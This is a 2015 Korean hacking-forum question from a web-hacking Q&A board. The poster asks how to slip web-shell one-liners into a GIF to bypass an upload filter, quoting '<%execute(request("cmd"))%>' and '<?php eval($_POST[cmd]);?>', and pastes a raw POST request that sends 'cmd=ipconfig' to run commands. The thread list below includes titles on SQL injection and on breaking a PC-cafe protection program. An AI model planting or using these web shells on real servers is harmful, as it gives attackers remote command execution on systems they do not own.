214, 3/11 회원가입  로그인  
   stoopynice
   웹쉘 관련 질문있습니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=209 [복사]


그 파일 업로드 우회해서 (gif 파일에 아래 코드를 넣어서)
<%execute(request("cmd"))%>
<?php eval($_POST[cmd]);?>
페이지에 삽입한다음에 ipconfig같은 명령을 실험해보고 싶은데
(위에 코드가 cmd 불러와서 cmd 명령하는거죠?)
피들러에 composer 탭에 아래 내용 보내면 되나요??
POST http://\\\\/index.php?***.gif
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: ***/index.php
WS=110&CCODE=000101
Accept-Language: ko-KR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
DNT: 1
Host: ***
Cookie: PHPSESSID=h6ddjfsn45r1sqc9tvg2p6pje0
Content-Length: 9
cmd=ipconfig;

요런식으로 execute해서 테스트하면되나요?
  Hit : 4657     Date : 2015/07/26 12:22


    
174   완전초보라 궁금하네요 웹쉘 XSS 등[1]     sm8303
 04/21 3740
173   sql injection 공격 오류반환질문이요.[4]     yayaja11
 03/21 2777
172   프록시 프로그램이 안됩니다[1]     yayaja11
 03/05 2833
171   의뢰입니다[4]     jjogun
 01/30 2991
170   궁금해서 질문합니다~[2]     ju3622
 01/09 2653
169   URL을 활용한 Json 파일 API분석     huny606
 12/24 2866
168   sqlmap 관련및 데이터베이스 관련에 질문합니다[1]     r0ki
 10/10 3368
  웹쉘 관련 질문있습니다.     stoopynice
 07/26 4656
166   KISA 해킹방어 훈련장 WEB 문제와 관련해서 질문드립니다.[1]     jhjang1005
 07/16 3456
165   맥북으로 웹 모의해킹     chachaco
 06/16 3922
164   php책 추천 부탁드립니다.[1]     h@cking2013
 06/05 3895
163   이 공격구문에 대한 설명 부탁드립니다.[1]     ju3622
 05/05 3508
162     [re] 이 공격구문에 대한 설명 부탁드립니다.     cosine
 06/28 2638
161   웹해킹 공부 질문이요~[2]     ansqudfyd
 05/02 3478
160   WPA2/PSK 관련 질문이 있습니다.     roccafort
 04/30 2811
159   메일 수신자 또는 발신자 IP[1]     zaksalna
 04/22 5462
158   피시방 Green guard 프로그램 뜷는 방법좀 알려 주세요[1]     wqw3
 04/19 6008
157   안녕하세요 ! 오늘가입했는데! 배워야할것좀 가르쳐주세요![1]     parani03
 04/08 2981
156   load of sql injectin을 풀구있습니다..[3]     deadbeef
 02/15 3767
155   서버시간 조작이 가능할까요?[1]     spe
 01/07 3287
[1][2] 3 [4][5][6][7][8][9][10]..[11]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org